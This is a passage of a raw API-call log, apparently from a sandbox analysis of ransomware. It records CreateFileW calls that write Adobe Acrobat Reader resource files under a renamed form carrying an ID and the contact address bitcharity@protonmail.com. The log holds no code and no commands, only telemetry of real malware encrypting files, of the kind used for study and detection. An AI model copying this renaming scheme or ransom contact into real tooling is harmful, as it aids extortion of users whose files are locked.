[0281.303] CloseHandle (hObject=0x10c4) returned 1 [0281.647] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.647] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.648] CloseHandle (hObject=0x10c0) returned 1 [0281.984] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.984] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.984] CloseHandle (hObject=0x126c) returned 1 [0281.988] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.988] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.989] CloseHandle (hObject=0x126c) returned 1 [0281.992] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.992] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.993] CloseHandle (hObject=0x126c) returned 1 [0281.994] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.995] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.995] CloseHandle (hObject=0x126c) returned 1 [0281.996] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.996] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.996] CloseHandle (hObject=0x126c) returned 1 [0281.997] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.998] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.998] CloseHandle (hObject=0x126c) returned 1 [0281.999] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.999] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.999] CloseHandle (hObject=0x126c) returned 1 [0282.001] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.001] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.001] CloseHandle (hObject=0x126c) returned 1 [0282.004] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.004] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.004] CloseHandle (hObject=0x126c) returned 1 [0282.007] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.007] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.008] CloseHandle (hObject=0x126c) returned 1 [0282.009] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.009] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\example_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.009] CloseHandle (hObject=0x126c) returned 1 [0282.010] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.010] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.010] CloseHandle (hObject=0x126c) returned 1 [0282.012] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.012] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.012] CloseHandle (hObject=0x126c) returned 1 [0282.013] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.013] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.013] CloseHandle (hObject=0x126c) returned 1 [0282.014] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.014] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.014] CloseHandle (hObject=0x126c) returned 1 [0282.277] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.277] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\desktop-connector-files-select\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.277] CloseHandle (hObject=0x126c) returned 1 [0282.278] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.278] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\desktop-connector-files-select\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.278] CloseHandle (hObject=0x126c) returned 1 [0282.296] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.296] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\digsig\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.296] CloseHandle (hObject=0x126c) returned 1 [0282.297] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.297] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.298] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\digsig_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\digsig\\images\\digsig_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.298] CloseHandle (hObject=0x126c) returned 1 [0282.299] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.299] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\digsig_icons_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\digsig\\images\\digsig_icons_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.299] CloseHandle (hObject=0x126c) returned 1 [0282.300] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.300] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark\\digsig_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark\\digsig_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.300] CloseHandle (hObject=0x126c) returned 1 [0282.301] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.301] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark\\digsig_icons_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark\\digsig_icons_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.301] CloseHandle (hObject=0x126c) returned 1 [0283.412] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.413] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.413] CloseHandle (hObject=0x115c) returned 1 [0283.825] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.825] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\example_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\example_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.825] CloseHandle (hObject=0x11c8) returned 1 [0284.301] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.301] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\core_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\core_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.302] CloseHandle (hObject=0x11c0) returned 1 [0284.445] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.445] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\circle_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\circle_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.445] CloseHandle (hObject=0x1180) returned 1 [0284.446] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.446] SetFilePointerEx (in: hFile=0x1180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\line_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\line_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 